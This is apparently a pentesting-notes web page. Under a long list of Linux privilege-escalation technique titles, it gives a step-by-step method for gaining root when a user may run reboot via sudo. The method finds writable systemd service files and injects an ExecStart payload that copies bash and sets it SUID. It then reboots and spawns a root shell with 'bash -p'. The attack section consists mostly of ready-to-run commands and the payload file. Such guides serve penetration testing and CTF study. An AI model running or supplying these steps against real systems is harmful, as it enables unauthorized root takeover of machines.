Linux Privilege Escalation
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  • Bash eq Privilege Escalation
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  • Chrome Remote Debugger Pentesting
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  • Ghidra Debug Mode RCE
  • Gnuplot Privilege Escalation
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  • Linux Privilege Escalation
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  • Shared Library Hijacking
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  • Sudo Exiftool Privilege Escalation
  • Sudo Fail2ban Privilege Escalation
  • Sudo Git Privilege Escalation
  • Sudo Java Privilege Escalation
  • Sudo OpenVPN Privilege Escalation
  • Sudo Path Traversal Privilege Escalation
  • Sudo Privilege Escalation
  • Sudo Privilege Escalation by Overriding Shared Library
  • Sudo Reboot Privilege Escalation
  • Sudo Screen Privilege Escalation
  • Sudo Service Privilege Escalation
  • Sudo Shutdown, Poweroff Privilege Escalation
  • Sudo Systemctl Privilege Escalation
  • Sudo Tee Privilege Escalation
  • Sudo Umount Privilege Escalation
  • Sudo Vim Privilege Escalation
  • Sudo Wall Privilege Escalation
  • Sudo Wget Privilege Escalation
  • Sudoedit Privilege Escalation
  • Tar Wildcard Injection PrivEsc
  • Update-Motd Privilege Escalation
  • irb (Interactive Ruby Shell) Privilege Escalation
  • Linux Backdoors
  • Linux Pivoting
  • Post eploitation
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  • Investigation
  • Exploitation

Sudo Reboot Privilege Escalation

Sudo reboot commands might be vulnerable to privilege escalation (PrivEsc).

Investigation

sudo -l

(ALL) NOPASSWD: /usr/sbin/reboot
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If we can execute "reboot" command as root, we can escalate to privileges.

Exploitation

1. Find Service Config Files Which Are Writable

We need to look for the system service config file which are writable.

find / -writable -name "*.service" 2>/dev/null

/etc/systemd/system/example.service
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2. Insert a Payload

If we find a writable file, we can inject a payload into Service.ExecStart.

# /etc/systemd/systm/example.service
[Unit]
Description=Zeno monitoring

[Service]
Type=simple
User=root
ExecStart=/bin/bash -c 'cp /bin/bash /home/<username>/bash; chmod +xs /home/<username>/bash'

[Install]
WantedBy=multi-user.target
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3. Reboot and Get a Root Shell

Now reboot as root.

sudo /usr/sbin/reboot
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After the system rebooted, the command in the ExecStart will be executed. Now we should get a root shell by executing the copied bash command.

/home/<username>/bash -p
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